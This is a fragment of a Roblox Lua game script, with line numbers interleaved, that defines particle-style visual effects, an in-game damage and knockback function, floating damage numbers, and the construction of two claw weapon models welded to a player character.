2123
prt.Anchored=true
2124
prt.CFrame=cframe
2125
local msh=mesh("CylinderMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
2126
game:GetService("Debris"):AddItem(prt,2)
2127
coroutine.resume(coroutine.create(function(Part,Mesh) 
2128
for i=0,1,delay do
2129
wait()
2130
Part.CFrame=Part.CFrame
2131
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2132
local prt2=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2133
prt2.Anchored=true
2134
prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2135
local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0.5,0.5,0.5))
2136
game:GetService("Debris"):AddItem(prt2,2)
2137
coroutine.resume(coroutine.create(function(Part,Mesh) 
2138
for i=0,1,0.1 do
2139
wait()
2140
Part.CFrame=Part.CFrame*cf(0,0.5,0)
2141
end
2142
Part.Parent=nil
2143
end),prt2,msh2)
2144
end
2145
for i=0,1,delay*2 do
2146
wait()
2147
Part.CFrame=Part.CFrame
2148
Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
2149
end
2150
Part.Parent=nil
2151
end),prt,msh)
2152
end
2153
2154
function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2155
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2156
prt.Anchored=true
2157
prt.CFrame=cframe
2158
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
2159
game:GetService("Debris"):AddItem(prt,2)
2160
coroutine.resume(coroutine.create(function(Part,Mesh) 
2161
for i=0,1,delay do
2162
wait()
2163
Part.CFrame=Part.CFrame
2164
Part.Transparency=i
2165
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2166
end
2167
Part.Parent=nil
2168
end),prt,msh)
2169
end
2170
 
2171
function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
2172
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2173
prt.Anchored=true
2174
prt.CFrame=cframe*euler(x2,y2,z2)
2175
--"http://www.roblox.com/asset/?id=168892465"
2176
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
2177
game:GetService("Debris"):AddItem(prt,2)
2178
coroutine.resume(coroutine.create(function(Part,Mesh) 
2179
for i=0,1,0.03 do
2180
wait()
2181
Part.CFrame=Part.CFrame
2182
Part.Transparency=i
2183
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2184
end
2185
Part.Parent=nil
2186
end),prt,msh)
2187
end
2188
 
2189
function BreakEffect(brickcolor,cframe,x1,y1,z1)
2190
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2191
prt.Anchored=true
2192
prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
2193
local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
2194
game:GetService("Debris"):AddItem(prt,2)
2195
coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb) 
2196
CF=Part.CFrame
2197
Numbb=0
2198
randnumb=math.random()/10
2199
rand1=math.random()/10
2200
for i=0,1,rand1 do
2201
wait()
2202
CF=CF*cf(0,math.random()/2,0)
2203
--Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
2204
Part.CFrame=CF*euler(Numbb,0,0)
2205
Part.Transparency=i
2206
Numbb=Numbb+randnumb
2207
end
2208
Part.Parent=nil
2209
end),prt,CF,Numbb,randnumb)
2210
end
2211
 
2212
function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2213
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2214
prt.Anchored=true
2215
prt.CFrame=cframe
2216
msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
2217
game:GetService("Debris"):AddItem(prt,5)
2218
coroutine.resume(coroutine.create(function(Part,Mesh) 
2219
for i=0,1,delay do
2220
wait()
2221
Part.CFrame=Part.CFrame*euler(0,0.7,0)
2222
Part.Transparency=i
2223
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2224
end
2225
Part.Parent=nil
2226
end),prt,msh)
2227
end
2228
 
2229
function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
2230
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2231
prt.Anchored=true
2232
prt.CFrame=cframe
2233
msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=20329976",vt(0,0,0),vt(x1,y1,z1))
2234
game:GetService("Debris"):AddItem(prt,2)
2235
coroutine.resume(coroutine.create(function(Part,Mesh) 
2236
for i=0,1,delay do
2237
wait()
2238
Part.CFrame=Part.CFrame*cf(0,y3/2,0)
2239
Part.Transparency=i
2240
Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
2241
end
2242
Part.Parent=nil
2243
end),prt,msh)
2244
end
2245
 
2246
function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
2247
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2248
prt.Anchored=true
2249
prt.CFrame=cframe*cf(x,y,z)
2250
msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
2251
game:GetService("Debris"):AddItem(prt,5)
2252
coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee) 
2253
local num=math.random()
2254
local num2=math.random(-3,2)+math.random()
2255
local numm=0
2256
for i=0,1,delay*2 do
2257
swait()
2258
Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
2259
Part.Transparency=i
2260
numm=numm+0.01
2261
end
2262
Part.Parent=nil
2263
Mesh.Parent=nil
2264
end),prt,msh,x,y,z)
2265
end
2266
2267
Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
2268
        if hit.Parent==nil then
2269
                return
2270
        end
2271
        h=hit.Parent:FindFirstChild("Humanoid")
2272
        for _,v in pairs(hit.Parent:children()) do
2273
        if v:IsA("Humanoid") then
2274
        h=v
2275
        end
2276
        end
2277
        if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
2278
        h=hit.Parent.Parent:FindFirstChild("Humanoid")
2279
        end
2280
        if hit.Parent.className=="Hat" then
2281
        hit=hit.Parent.Parent:findFirstChild("Head")
2282
        end
2283
        if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
2284
        if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
2285
        --[[                if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
2286
                        return
2287
                end]]
2288
--                        hs(hit,1.2) 
2289
                        c=Instance.new("ObjectValue")
2290
                        c.Name="creator"
2291
                        c.Value=game:service("Players").LocalPlayer
2292
                        c.Parent=h
2293
                        game:GetService("Debris"):AddItem(c,.5)
2294
                Damage=math.random(minim,maxim)
2295
--                h:TakeDamage(Damage)
2296
                blocked=false
2297
                block=hit.Parent:findFirstChild("Block")
2298
                if block~=nil then
2299
                print(block.className)
2300
                if block.className=="NumberValue" then
2301
                if block.Value>0 then
2302
                blocked=true
2303
                if decreaseblock==nil then
2304
                block.Value=block.Value-1
2305
                end
2306
                end
2307
                end
2308
                if block.className=="IntValue" then
2309
                if block.Value>0 then
2310
                blocked=true
2311
                if decreaseblock~=nil then
2312
                block.Value=block.Value-1
2313
                end
2314
                end
2315
                end
2316
                end
2317
                if blocked==false then
2318
--                h:TakeDamage(Damage)
2319
                h.Health=h.Health-Damage
2320
                showDamage(hit.Parent,Damage,.5,TorsoColor)
2321
                else
2322
                h.Health=h.Health-(Damage/2)
2323
                showDamage(hit.Parent,Damage/2,.5,BrickColor.new("Bright blue"))
2324
                end
2325
                if Type=="Knockdown" then
2326
                hum=hit.Parent.Humanoid
2327
hum.PlatformStand=true
2328
coroutine.resume(coroutine.create(function(HHumanoid)
2329
swait(1)
2330
HHumanoid.PlatformStand=false
2331
end),hum)
2332
                local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
2333
--hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
2334
local bodvol=Instance.new("BodyVelocity")
2335
bodvol.velocity=angle*knockback
2336
bodvol.P=5000
2337
bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
2338
bodvol.Parent=hit
2339
rl=Instance.new("BodyAngularVelocity")
2340
rl.P=3000
2341
rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
2342
rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
2343
rl.Parent=hit
2344
game:GetService("Debris"):AddItem(bodvol,.5)
2345
game:GetService("Debris"):AddItem(rl,.5)
2346
                elseif Type=="Normal" then
2347
                vp=Instance.new("BodyVelocity")
2348
                vp.P=500
2349
                vp.maxForce=Vector3.new(math.huge,0,math.huge)
2350
--                vp.velocity=Character.Torso.CFrame.lookVector*Knockback
2351
                if KnockbackType==1 then
2352
                vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
2353
                elseif KnockbackType==2 then
2354
                vp.velocity=Property.CFrame.lookVector*knockback
2355
                end
2356
                if knockback>0 then
2357
                        vp.Parent=hit.Parent.Torso
2358
                end
2359
                game:GetService("Debris"):AddItem(vp,.5)
2360
                elseif Type=="Up" then
2361
                local bodyVelocity=Instance.new("BodyVelocity")
2362
                bodyVelocity.velocity=vt(0,10,0)
2363
                bodyVelocity.P=1000
2364
                bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
2365
                bodyVelocity.Parent=hit
2366
                game:GetService("Debris"):AddItem(bodyVelocity,1)
2367
                rl=Instance.new("BodyAngularVelocity")
2368
                rl.P=3000
2369
                rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
2370
                rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
2371
                rl.Parent=hit
2372
                game:GetService("Debris"):AddItem(rl,.5)
2373
                elseif Type=="Snare" then
2374
                bp=Instance.new("BodyPosition")
2375
                bp.P=2000
2376
                bp.D=100
2377
                bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
2378
                bp.position=hit.Parent.Torso.Position
2379
                bp.Parent=hit.Parent.Torso
2380
                game:GetService("Debris"):AddItem(bp,1)
2381
                elseif Type=="Target" then
2382
                if Targetting==false then
2383
                ZTarget=hit.Parent.Torso
2384
                coroutine.resume(coroutine.create(function(Part) 
2385
                so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) 
2386
                swait(5)
2387
                so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5) 
2388
                end),ZTarget)
2389
                TargHum=ZTarget.Parent:findFirstChild("Humanoid")
2390
                targetgui=Instance.new("BillboardGui")
2391
                targetgui.Parent=ZTarget
2392
                targetgui.Size=UDim2.new(10,100,10,100)
2393
                targ=Instance.new("ImageLabel")
2394
                targ.Parent=targetgui
2395
                targ.BackgroundTransparency=1
2396
                targ.Image="rbxassetid://4834067"
2397
                targ.Size=UDim2.new(1,0,1,0)
2398
                cam.CameraType="Scriptable"
2399
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2400
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
2401
                workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2402
                Targetting=true
2403
                RocketTarget=ZTarget
2404
                for i=1,Property do
2405
                --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
2406
                if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
2407
                swait()
2408
                end
2409
                --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
2410
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
2411
                dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
2412
                cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
2413
                end
2414
                Targetting=false
2415
                RocketTarget=nil
2416
                targetgui.Parent=nil
2417
                cam.CameraType="Custom"
2418
                end
2419
                end
2420
                        debounce=Instance.new("BoolValue")
2421
                        debounce.Name="DebounceHit"
2422
                        debounce.Parent=hit.Parent
2423
                        debounce.Value=true
2424
                        game:GetService("Debris"):AddItem(debounce,Delay)
2425
                        c=Instance.new("ObjectValue")
2426
                        c.Name="creator"
2427
                        c.Value=Player
2428
                        c.Parent=h
2429
                        game:GetService("Debris"):AddItem(c,.5)
2430
                CRIT=false
2431
                hitDeb=true
2432
                AttackPos=6
2433
        end
2434
end
2435
 
2436
showDamage=function(Char,Dealt,du,Color)
2437
        m=Instance.new("Model")
2438
        m.Name=tostring(Dealt)
2439
        h=Instance.new("Humanoid")
2440
        h.Health=0
2441
        h.MaxHealth=0
2442
        h.Parent=m
2443
        c=Instance.new("Part")
2444
        c.Transparency=0
2445
        c.BrickColor=TorsoColor
2446
        c.Name="Head"
2447
        c.TopSurface=0
2448
        c.BottomSurface=0
2449
        c.formFactor="Plate"
2450
        c.Size=Vector3.new(1,.4,1)
2451
        ms=Instance.new("CylinderMesh")
2452
        ms.Scale=Vector3.new(.8,.8,.8)
2453
        so("http://www.roblox.com/asset/?id=199149269",c,1,1) 
2454
        if CRIT==true then
2455
                ms.Scale=Vector3.new(1,1.25,1)
2456
        end
2457
        ms.Parent=c
2458
        c.Reflectance=0
2459
        Instance.new("BodyGyro").Parent=c
2460
        c.Parent=m
2461
        if Char:findFirstChild("Head")~=nil then
2462
        c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
2463
        elseif Char.Parent:findFirstChild("Head")~=nil then
2464
        c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
2465
        end
2466
        f=Instance.new("BodyPosition")
2467
        f.P=2000
2468
        f.D=100
2469
        f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
2470
        f.position=c.Position+Vector3.new(0,3,0)
2471
        f.Parent=c
2472
        game:GetService("Debris"):AddItem(m,.5+du)
2473
        c.CanCollide=false
2474
        m.Parent=workspace
2475
        c.CanCollide=false
2476
end
2477
2478
    Player=game:GetService('Players').LocalPlayer
2479
    Character=Player.Character
2480
    Mouse=Player:GetMouse()
2481
    m=Instance.new('Model',Character)
2482
2483
2484
    local function weldBetween(a, b)
2485
        local weldd = Instance.new("ManualWeld")
2486
        weldd.Part0 = a
2487
        weldd.Part1 = b
2488
        weldd.C0 = CFrame.new()
2489
        weldd.C1 = b.CFrame:inverse() * a.CFrame
2490
        weldd.Parent = a
2491
        return weldd
2492
    end
2493
    
2494
    it=Instance.new
2495
    
2496
    function nooutline(part)
2497
        part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
2498
    end
2499
    
2500
    function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
2501
        local fp=it("Part")
2502
        fp.formFactor=formfactor
2503
        fp.Parent=parent
2504
        fp.Reflectance=reflectance
2505
        fp.Transparency=transparency
2506
        fp.CanCollide=false
2507
        fp.Locked=true
2508
        fp.BrickColor=BrickColor.new(tostring(brickcolor))
2509
        fp.Name=name
2510
        fp.Size=size
2511
        fp.Position=Character.Torso.Position
2512
        nooutline(fp)
2513
        fp.Material=material
2514
        fp:BreakJoints()
2515
        return fp
2516
    end
2517
    
2518
    function mesh(Mesh,part,meshtype,meshid,offset,scale)
2519
        local mesh=it(Mesh)
2520
        mesh.Parent=part
2521
        if Mesh=="SpecialMesh" then
2522
            mesh.MeshType=meshtype
2523
            mesh.MeshId=meshid
2524
        end
2525
        mesh.Offset=offset
2526
        mesh.Scale=scale
2527
        return mesh
2528
    end
2529
    
2530
    function weld(parent,part0,part1,c0,c1)
2531
        local weld=it("Weld")
2532
        weld.Parent=parent
2533
        weld.Part0=part0
2534
        weld.Part1=part1
2535
        weld.C0=c0
2536
        weld.C1=c1
2537
        return weld
2538
    end
2539
2540
local modelzorz=Instance.new("Model") 
2541
modelzorz.Parent=Character 
2542
modelzorz.Name="Claw1"
2543
2544
Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
2545
Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
2546
mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2547
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2548
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
2549
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2550
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
2551
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2552
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2553
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
2554
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2555
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
2556
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2557
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
2558
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2559
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
2560
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2561
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
2562
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2563
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
2564
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2565
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
2566
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2567
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
2568
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2569
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
2570
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2571
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2572
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
2573
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2574
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
2575
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2576
Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
2577
Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
2578
mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
2579
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2580
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
2581
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2582
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2583
Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
2584
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2585
2586
local modelzorz2=Instance.new("Model") 
2587
modelzorz2.Parent=Character 
2588
modelzorz2.Name="Claw2"
2589
2590
Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
2591
Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
2592
mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
2593
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2594
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
2595
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2596
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
2597
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2598
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
2599
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2600
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
2601
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2602
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
2603
Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
2604
mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
2605
Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
2606
